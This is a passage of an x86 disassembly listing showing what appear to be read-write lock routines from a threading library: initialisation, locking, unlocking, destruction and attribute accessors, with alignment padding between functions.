sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510960
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510960
		call	near ptr 7C9010EDh
		nop


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
